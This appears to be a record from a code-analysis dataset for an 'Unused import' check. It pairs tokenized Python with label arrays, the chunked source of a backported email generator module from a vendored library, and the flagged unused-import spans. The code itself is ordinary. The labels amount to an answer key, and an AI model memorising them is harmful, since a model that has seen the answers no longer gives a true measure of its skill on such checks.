"\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "pytest_", "._", "fixture_", "(_", "scope_", "=_", "'", "session", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "backend_", "(_", "request_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "backend_", ",_", "lazy_", "=_", "request_", "._", "param_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Initialise", " ", "the", " ", "backend_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "op2_", "._", "init_", "(_", "backend_", "=_", "backend_", ",_", "lazy", "\\u", "evaluation_", "=_", "(_", "lazy_", "==_", "'", "lazy", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Ski", "p", " ", "test", " ", "if", " ", "initiali", "sation", " ", "failed_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pytest_", "._", "skip_", "(_", "'", "Back", "end", " ", "%", "s", " ", "is", " ", "not", " ", "avail", "able", "'_", "%_", "backend_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "backend_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
OpenCobolIDE/OpenCobolIDE/open_cobol_ide/extlibs/future/backports/email/generator.py
[ { "content": "# Copyright (C) 2001-2010 Python Software Foundation\n# Author: Barry Warsaw\n# Contact: [email protected]\n\n\"\"\"Classes to generate plain text from a message object tree.\"\"\"\nfrom __future__ import print_function\nfrom __future__ import unicode_literals\nfrom __future__ import division\nfrom __future__ import absolute_import\nfrom future.builtins import super\nfrom future.builtins import str\n\n__all__ = ['Generator', 'DecodedGenerator', 'BytesGenerator']\n\nimport re\nimport sys\nimport time\nimport random\nimport warnings\n\nfrom io import StringIO, BytesIO\nfrom future.backports.email._policybase import compat32\nfrom future.backports.email.header import Header\nfrom future.backports.email.utils import _has_surrogates\nimport future.backports.email.charset as _charset\n\nUNDERSCORE = '_'\nNL = '\\n' # XXX: no longer used by the code below.\n\nfcre = re.compile(r'^From ', re.MULTILINE)\n\n\n\n\n\n_FMT = '[Non-text (%(type)s) part of message omitted, filename %(filename)s]'\n\n\n\n# Helper used by Generator._make_boundary\n_width = len(repr(sys.maxsize-1))\n_fmt = '%%0%dd' % _width\n\n# Backward compatibility\n_make_boundary = Generator._make_boundary\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Generator(object):\n \"\"\"Generates output from a Message object tree.\n\n This basic generator writes the message to the given file object as plain\n text.\n \"\"\"\n #\n # Public interface\n #\n\n\n\n\n\n #\n # Protected interface - undocumented ;/\n #\n\n # Note that we use 'self.write' when what we are writing is coming from\n # the source, and self._fp.write when what we are writing is coming from a\n # buffer (because the Bytes subclass has already had a chance to transform\n # the data in its write method in that case). This is an entirely\n # pragmatic split determined by experiment; we could be more general by\n # always using write and having the Bytes subclass write method detect when\n # it has already transformed the input; but, since this whole thing is a\n # hack anyway this seems good enough.\n\n # Similarly, we have _XXX and _encoded_XXX attributes that are used on\n # source and buffer data, respectively.\n _encoded_EMPTY = ''\n\n\n\n\n\n\n #\n # Default handlers\n #\n\n\n #\n # Handlers for writing types and subtypes\n #\n\n\n # Default body handler\n _writeBody = _handle_text\n\n\n\n\n\n # This used to be a module level function; we use a classmethod for this\n # and _compile_re so we can continue to provide the module level function\n # for backward compatibility by doing\n # _make_boudary = Generator._make_boundary\n # at the end of the module. It *is* internal, so we could drop that...\n", "metadata": "root.Generator", "header": "['module', '___EOS___']", "index": 32 }, { "content": " def __init__(self, outfp, mangle_from_=True, maxheaderlen=None, **_3to2kwargs):\n if 'policy' in _3to2kwargs: policy = _3to2kwargs['policy']; del _3to2kwargs['policy']\n else: policy = None\n \"\"\"Create the generator for message flattening.\n\n outfp is the output file-like object for writing the message to. It\n must have a write() method.\n\n Optional mangle_from_ is a flag that, when True (the default), escapes\n From_ lines in the body of the message by putting a `>' in front of\n them.\n\n Optional maxheaderlen specifies the longest length for a non-continued\n header. When a header line is longer (in characters, with tabs\n expanded to 8 spaces) than maxheaderlen, the header will split as\n defined in the Header class. Set maxheaderlen to zero to disable\n header wrapping. The default is 78, as recommended (but not required)\n by RFC 2822.\n\n The policy keyword specifies a policy object that controls a number of\n aspects of the generator's operation. The default policy maintains\n backward compatibility.\n\n \"\"\"\n self._fp = outfp\n self._mangle_from_ = mangle_from_\n self.maxheaderlen = maxheaderlen\n self.policy = policy", "metadata": "root.Generator.__init__", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 42 }, { "content": " def write(self, s):\n # Just delegate to the file object\n self._fp.write(s)", "metadata": "root.Generator.write", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 71 }, { "content": " def flatten(self, msg, unixfrom=False, linesep=None):\n r\"\"\"Print the message object tree rooted at msg to the output file\n specified when the Generator instance was created.\n\n unixfrom is a flag that forces the printing of a Unix From_ delimiter\n before the first object in the message tree. If the original message\n has no From_ delimiter, a `standard' one is crafted. By default, this\n is False to inhibit the printing of any From_ delimiter.\n\n Note that for subobjects, no From_ line is printed.\n\n linesep specifies the characters used to indicate a new line in\n the output. The default value is determined by the policy.\n\n \"\"\"\n # We use the _XXX constants for operating on data that comes directly\n # from the msg, and _encoded_XXX constants for operating on data that\n # has already been converted (to bytes in the BytesGenerator) and\n # inserted into a temporary buffer.\n policy = msg.policy if self.policy is None else self.policy\n if linesep is not None:\n policy = policy.clone(linesep=linesep)\n if self.maxheaderlen is not None:\n policy = policy.clone(max_line_length=self.maxheaderlen)\n self._NL = policy.linesep\n self._encoded_NL = self._encode(self._NL)\n self._EMPTY = ''\n self._encoded_EMTPY = self._encode('')\n # Because we use clone (below) when we recursively process message\n # subparts, and because clone uses the computed policy (not None),\n # submessages will automatically get set to the computed policy when\n # they are processed by this code.\n old_gen_policy = self.policy\n old_msg_policy = msg.policy\n try:\n self.policy = policy\n msg.policy = policy\n if unixfrom:\n ufrom = msg.get_unixfrom()\n if not ufrom:\n ufrom = 'From nobody ' + time.ctime(time.time())\n self.write(ufrom + self._NL)\n self._write(msg)\n finally:\n self.policy = old_gen_policy\n msg.policy = old_msg_policy", "metadata": "root.Generator.flatten", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 75 }, { "content": " def clone(self, fp):\n \"\"\"Clone this generator with the exact same options.\"\"\"\n return self.__class__(fp,\n self._mangle_from_,\n None, # Use policy setting, which we've adjusted\n policy=self.policy)", "metadata": "root.Generator.clone", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 122 }, { "content": " def _new_buffer(self):\n # BytesGenerator overrides this to return BytesIO.\n return StringIO()", "metadata": "root.Generator._new_buffer", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 146 }, { "content": " def _encode(self, s):\n # BytesGenerator overrides this to encode strings to bytes.\n return s", "metadata": "root.Generator._encode", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 150 }, { "content": " def _write_lines(self, lines):\n # We have to transform the line endings.\n if not lines:\n return\n lines = lines.splitlines(True)\n for line in lines[:-1]:\n self.write(line.rstrip('\\r\\n'))\n self.write(self._NL)\n laststripped = lines[-1].rstrip('\\r\\n')\n self.write(laststripped)\n if len(lines[-1]) != len(laststripped):\n self.write(self._NL)", "metadata": "root.Generator._write_lines", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 154 }, { "content": " def _write(self, msg):\n # We can't write the headers yet because of the following scenario:\n # say a multipart message includes the boundary string somewhere in\n # its body. We'd have to calculate the new boundary /before/ we write\n # the headers so that we can write the correct Content-Type:\n # parameter.\n #\n # The way we do this, so as to make the _handle_*() methods simpler,\n # is to cache any subpart writes into a buffer. The we write the\n # headers and the buffer contents. That way, subpart handlers can\n # Do The Right Thing, and can still modify the Content-Type: header if\n # necessary.\n oldfp = self._fp\n try:\n self._fp = sfp = self._new_buffer()\n self._dispatch(msg)\n finally:\n self._fp = oldfp\n # Write the headers. First we see if the message object wants to\n # handle that itself. If not, we'll do it generically.\n meth = getattr(msg, '_write_headers', None)\n if meth is None:\n self._write_headers(msg)\n else:\n meth(self)\n self._fp.write(sfp.getvalue())", "metadata": "root.Generator._write", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 167 }, { "content": " def _dispatch(self, msg):\n # Get the Content-Type: for the message, then try to dispatch to\n # self._handle_<maintype>_<subtype>(). If there's no handler for the\n # full MIME type, then dispatch to self._handle_<maintype>(). If\n # that's missing too, then dispatch to self._writeBody().\n main = msg.get_content_maintype()\n sub = msg.get_content_subtype()\n specific = UNDERSCORE.join((main, sub)).replace('-', '_')\n meth = getattr(self, '_handle_' + specific, None)\n if meth is None:\n generic = main.replace('-', '_')\n meth = getattr(self, '_handle_' + generic, None)\n if meth is None:\n meth = self._writeBody\n meth(msg)", "metadata": "root.Generator._dispatch", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 194 }, { "content": " def _write_headers(self, msg):\n for h, v in msg.raw_items():\n self.write(self.policy.fold(h, v))\n # A blank line always separates headers from body\n self.write(self._NL)", "metadata": "root.Generator._write_headers", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 214 }, { "content": " def _handle_text(self, msg):\n payload = msg.get_payload()\n if payload is None:\n return\n if not isinstance(payload, str):\n raise TypeError('string payload expected: %s' % type(payload))\n if _has_surrogates(msg._payload):\n charset = msg.get_param('charset')\n if charset is not None:\n del msg['content-transfer-encoding']\n msg.set_payload(payload, charset)\n payload = msg.get_payload()\n if self._mangle_from_:\n payload = fcre.sub('>From ', payload)\n self._write_lines(payload)", "metadata": "root.Generator._handle_text", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 224 }, { "content": " def _handle_multipart(self, msg):\n # The trick here is to write out each part separately, merge them all\n # together, and then make sure that the boundary we've chosen isn't\n # present in the payload.\n msgtexts = []\n subparts = msg.get_payload()\n if subparts is None:\n subparts = []\n elif isinstance(subparts, str):\n # e.g. a non-strict parse of a message with no starting boundary.\n self.write(subparts)\n return\n elif not isinstance(subparts, list):\n # Scalar payload\n subparts = [subparts]\n for part in subparts:\n s = self._new_buffer()\n g = self.clone(s)\n g.flatten(part, unixfrom=False, linesep=self._NL)\n msgtexts.append(s.getvalue())\n # BAW: What about boundaries that are wrapped in double-quotes?\n boundary = msg.get_boundary()\n if not boundary:\n # Create a boundary that doesn't appear in any of the\n # message texts.\n alltext = self._encoded_NL.join(msgtexts)\n boundary = self._make_boundary(alltext)\n msg.set_boundary(boundary)\n # If there's a preamble, write it out, with a trailing CRLF\n if msg.preamble is not None:\n if self._mangle_from_:\n preamble = fcre.sub('>From ', msg.preamble)\n else:\n preamble = msg.preamble\n self._write_lines(preamble)\n self.write(self._NL)\n # dash-boundary transport-padding CRLF\n self.write('--' + boundary + self._NL)\n # body-part\n if msgtexts:\n self._fp.write(msgtexts.pop(0))\n # *encapsulation\n # --> delimiter transport-padding\n # --> CRLF body-part\n for body_part in msgtexts:\n # delimiter transport-padding CRLF\n self.write(self._NL + '--' + boundary + self._NL)\n # body-part\n self._fp.write(body_part)\n # close-delimiter transport-padding\n self.write(self._NL + '--' + boundary + '--')\n if msg.epilogue is not None:\n self.write(self._NL)\n if self._mangle_from_:\n epilogue = fcre.sub('>From ', msg.epilogue)\n else:\n epilogue = msg.epilogue\n self._write_lines(epilogue)", "metadata": "root.Generator._handle_multipart", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 243 }, { "content": " def _handle_multipart_signed(self, msg):\n # The contents of signed parts has to stay unmodified in order to keep\n # the signature intact per RFC1847 2.1, so we disable header wrapping.\n # RDM: This isn't enough to completely preserve the part, but it helps.\n p = self.policy\n self.policy = p.clone(max_line_length=0)\n try:\n self._handle_multipart(msg)\n finally:\n self.policy = p", "metadata": "root.Generator._handle_multipart_signed", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 302 }, { "content": " def _handle_message_delivery_status(self, msg):\n # We can't just write the headers directly to self's file object\n # because this will leave an extra newline between the last header\n # block and the boundary. Sigh.\n blocks = []\n for part in msg.get_payload():\n s = self._new_buffer()\n g = self.clone(s)\n g.flatten(part, unixfrom=False, linesep=self._NL)\n text = s.getvalue()\n lines = text.split(self._encoded_NL)\n # Strip off the unnecessary trailing empty line\n if lines and lines[-1] == self._encoded_EMPTY:\n blocks.append(self._encoded_NL.join(lines[:-1]))\n else:\n blocks.append(text)\n # Now join all the blocks with an empty line. This has the lovely\n # effect of separating each block with an empty line, but not adding\n # an extra one after the last one.\n self._fp.write(self._encoded_NL.join(blocks))", "metadata": "root.Generator._handle_message_delivery_status", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 313 }, { "content": " def _handle_message(self, msg):\n s = self._new_buffer()\n g = self.clone(s)\n # The payload of a message/rfc822 part should be a multipart sequence\n # of length 1. The zeroth element of the list should be the Message\n # object for the subpart. Extract that object, stringify it, and\n # write it out.\n # Except, it turns out, when it's a string instead, which happens when\n # and only when HeaderParser is used on a message of mime type\n # message/rfc822. Such messages are generated by, for example,\n # Groupwise when forwarding unadorned messages. (Issue 7970.) So\n # in that case we just emit the string body.\n payload = msg._payload\n if isinstance(payload, list):\n g.flatten(msg.get_payload(0), unixfrom=False, linesep=self._NL)\n payload = s.getvalue()\n else:\n payload = self._encode(payload)\n self._fp.write(payload)", "metadata": "root.Generator._handle_message", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 334 }, { "content": " @classmethod\n def _make_boundary(cls, text=None):\n # Craft a random boundary. If text is given, ensure that the chosen\n # boundary doesn't appear in the text.\n token = random.randrange(sys.maxsize)\n boundary = ('=' * 15) + (_fmt % token) + '=='\n if text is None:\n return boundary\n b = boundary\n counter = 0\n while True:\n cre = cls._compile_re('^--' + re.escape(b) + '(--)?$', re.MULTILINE)\n if not cre.search(text):\n break\n b = boundary + '.' + str(counter)\n counter += 1\n return b", "metadata": "root.Generator._make_boundary", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 359 }, { "content": " @classmethod\n def _compile_re(cls, s, flags):\n return re.compile(s, flags)", "metadata": "root.Generator._compile_re", "header": "['class', 'Generator', '(', 'object', ')', ':', '___EOS___']", "index": 377 }, { "content": "class BytesGenerator(Generator):\n \"\"\"Generates a bytes version of a Message object tree.\n\n Functionally identical to the base Generator except that the output is\n bytes and not string. When surrogates were used in the input to encode\n bytes, these are decoded back to bytes for output. If the policy has\n cte_type set to 7bit, then the message is transformed such that the\n non-ASCII bytes are properly content transfer encoded, using the charset\n unknown-8bit.\n\n The outfp object must accept bytes in its write method.\n \"\"\"\n\n # Bytes versions of this constant for use in manipulating data from\n # the BytesIO buffer.\n _encoded_EMPTY = b''\n\n\n\n\n\n\n # Default body handler\n _writeBody = _handle_text\n", "metadata": "root.BytesGenerator", "header": "['module', '___EOS___']", "index": 381 }, { "content": " def write(self, s):\n self._fp.write(str(s).encode('ascii', 'surrogateescape'))", "metadata": "root.BytesGenerator.write", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 398 }, { "content": " def _new_buffer(self):\n return BytesIO()", "metadata": "root.BytesGenerator._new_buffer", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 401 }, { "content": " def _encode(self, s):\n return s.encode('ascii')", "metadata": "root.BytesGenerator._encode", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 404 }, { "content": " def _write_headers(self, msg):\n # This is almost the same as the string version, except for handling\n # strings with 8bit bytes.\n for h, v in msg.raw_items():\n self._fp.write(self.policy.fold_binary(h, v))\n # A blank line always separates headers from body\n self.write(self._NL)", "metadata": "root.BytesGenerator._write_headers", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 407 }, { "content": " def _handle_text(self, msg):\n # If the string has surrogates the original source was bytes, so\n # just write it back out.\n if msg._payload is None:\n return\n if _has_surrogates(msg._payload) and not self.policy.cte_type=='7bit':\n if self._mangle_from_:\n msg._payload = fcre.sub(\">From \", msg._payload)\n self._write_lines(msg._payload)\n else:\n super(BytesGenerator,self)._handle_text(msg)", "metadata": "root.BytesGenerator._handle_text", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 415 }, { "content": " @classmethod\n def _compile_re(cls, s, flags):\n return re.compile(s.encode('ascii'), flags)", "metadata": "root.BytesGenerator._compile_re", "header": "['class', 'BytesGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 430 }, { "content": "class DecodedGenerator(Generator):\n \"\"\"Generates a text representation of a message.\n\n Like the Generator base class, except that non-text parts are substituted\n with a format string representing the part.\n \"\"\"\n", "metadata": "root.DecodedGenerator", "header": "['module', '___EOS___']", "index": 437 }, { "content": " def __init__(self, outfp, mangle_from_=True, maxheaderlen=78, fmt=None):\n \"\"\"Like Generator.__init__() except that an additional optional\n argument is allowed.\n\n Walks through all subparts of a message. If the subpart is of main\n type `text', then it prints the decoded payload of the subpart.\n\n Otherwise, fmt is a format string that is used instead of the message\n payload. fmt is expanded with the following keywords (in\n %(keyword)s format):\n\n type : Full MIME type of the non-text part\n maintype : Main MIME type of the non-text part\n subtype : Sub-MIME type of the non-text part\n filename : Filename of the non-text part\n description: Description associated with the non-text part\n encoding : Content transfer encoding of the non-text part\n\n The default value for fmt is None, meaning\n\n [Non-text (%(type)s) part of message omitted, filename %(filename)s]\n \"\"\"\n Generator.__init__(self, outfp, mangle_from_, maxheaderlen)\n if fmt is None:\n self._fmt = _FMT\n else:\n self._fmt = fmt", "metadata": "root.DecodedGenerator.__init__", "header": "['class', 'DecodedGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 443 }, { "content": " def _dispatch(self, msg):\n for part in msg.walk():\n maintype = part.get_content_maintype()\n if maintype == 'text':\n print(part.get_payload(decode=False), file=self)\n elif maintype == 'multipart':\n # Just skip this\n pass\n else:\n print(self._fmt % {\n 'type' : part.get_content_type(),\n 'maintype' : part.get_content_maintype(),\n 'subtype' : part.get_content_subtype(),\n 'filename' : part.get_filename('[no filename]'),\n 'description': part.get('Content-Description',\n '[no description]'),\n 'encoding' : part.get('Content-Transfer-Encoding',\n '[no encoding]'),\n }, file=self)", "metadata": "root.DecodedGenerator._dispatch", "header": "['class', 'DecodedGenerator', '(', 'Generator', ')', ':', '___EOS___']", "index": 471 } ]
[ { "span": "import warnings", "start_line": 18, "start_column": 0, "end_line": 18, "end_column": 15 }, { "span": "from future.backports.email._policybase import compat32", "start_line": 21, "start_column": 0, "end_line": 21, "end_column": 55 }, { "span": "from future.backports.email.header import Header", "start_line": 22, "start_column": 0, "end_line": 22, "end_column": 48 }, { "span": "import future.backports.email.charset as _charset", "start_line": 24, "start_column": 0, "end_line": 24, "end_column": 49 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#", " ", "Copy", "right", " ", "(", "C", ")", " ", "200", "1", "-", "2010", " ", "Pyth", "on", " ", "Sof", "twa", "re", " ", "Foun", "dati", "on_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Author", ":", " ", "Barr", "y", " ", "War", "saw", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Conta", "ct", ":", " ", "email", "-", "sig", "@", "python", ".", "org_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\"\"\"", "Class", "es", " ", "to", " ", "generat", "e", " ", "plain", " ", "text", " ", "from", " ", "a", " ", "message", " ", "object", " ", "tree", ".\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "print", "\\u", "function_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "unicode", "\\u", "literals_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "division_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "\\u\\u", "future\\u\\u_", "import_", "abs", "olute", "\\u", "import_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "future_", "._", "builtins_", "import_", "super_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "future_", "._", "builtins_", "import_", "str_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u", "all\\u\\u_", "=_", "[_", "'", "Generat", "or", "'_", ",_", "'", "Decode", "d", "Generat", "or", "'_", ",_", "'", "Byte", "s", "Generat", "or", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "re_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "time_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "random_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "warnings_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "io_", "import_", "String", "IO_", ",_", "Byte", "s", "IO_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "future_", "._", "backp", "orts", "_", "._", "email_", "._", "\\u", "policy", "base_", "import_", "compa", "t3", "2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "future_", "._", "backp", "orts", "_", "._", "email_", "._", "header_", "import_", "Header_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "from_", "future_", "._", "backp", "orts", "_", "._", "email_", "._", "utils_", "import_", "\\u", "has", "\\u", "surrogate", "s_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "future_", "._", "backp", "orts", "_", "._", "email_", "._", "charset_", "as_", "\\u", "charset_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "UNDER", "SCORE", "_", "=_", "'\\u'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "NL", "_", "=_", "'\\\\", "n", "'_", "#", " ", "XX", "X", ":", " ", "no", " ", "long", "er", " ", "used", " ", "by", " ", "the", " ", "code", " ", "belo", "w", "._", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "fc", "re_", "=_", "re_", "._", "compile_", "(_", "r", "'", "^", "Fro", "m", " ", "'_", ",_", "re_", "._", "MULTILINE_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "FMT_", "=_", "'[", "Non", "-", "text", " ", "(%", "(", "type", ")", "s", ")", " ", "part", " ", "of", " ", "message", " ", "omit", "ted", ",", " ", "filename", " ", "%", "(", "filename", ")", "s", "]'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Help", "er", " ", "used", " ", "by", " ", "Generat", "or", ".\\u", "make", "\\u", "boundary_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u", "width_", "=_", "len_", "(_", "repr_", "(_", "sys_", "._", "maxsize_", "-_", "1_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u", "fmt_", "=_", "'%%", "0", "%", "dd", "'_", "%_", "\\u", "width_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Backward", " ", "compatibility", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u", "make", "\\u", "boundary_", "=_", "Generator_", "._", "\\u", "make", "\\u", "boundary_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "class_", "Generator_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Generate", "s", " ", "output", " ", "from", " ", "a", " ", "Messag", "e", " ", "object", " ", "tree", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Thi", "s", " ", "basic", " ", "generat", "or", " ", "writes", " ", "the", " ", "message", " ", "to", " ", "the", " ", "give", "n", " ", "file", " ", "object", " ", "as", " ", "plain", "\\", "10", ";", " ", " ", " ", " ", "text", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Public", " ", "interface_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Protect", "ed", " ", "interface", " ", "-", " ", "undo", "cum", "ente", "d", " ", ";", "/_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Not", "e", " ", "tha", "t", " ", "we", " ", "use", " ", "'", "self", ".", "write", "'", " ", "whe", "n", " ", "what", " ", "we", " ", "are", " ", "writ", "ing", " ", "is", " ", "comi", "ng", " ", "from_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "the", " ", "source", ",", " ", "and", " ", "self", ".\\u", "fp", ".", "write", " ", "whe", "n", " ", "what", " ", "we", " ", "are", " ", "writ", "ing", " ", "is", " ", "comi", "ng", " ", "from", " ", "a_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "buffer", " ", "(", "bec", "aus", "e", " ", "the", " ", "Byte", "s", " ", "subclass", " ", "has", " ", "alr", "ead", "y", " ", "had", " ", "a", " ", "chan", "ce", " ", "to", " 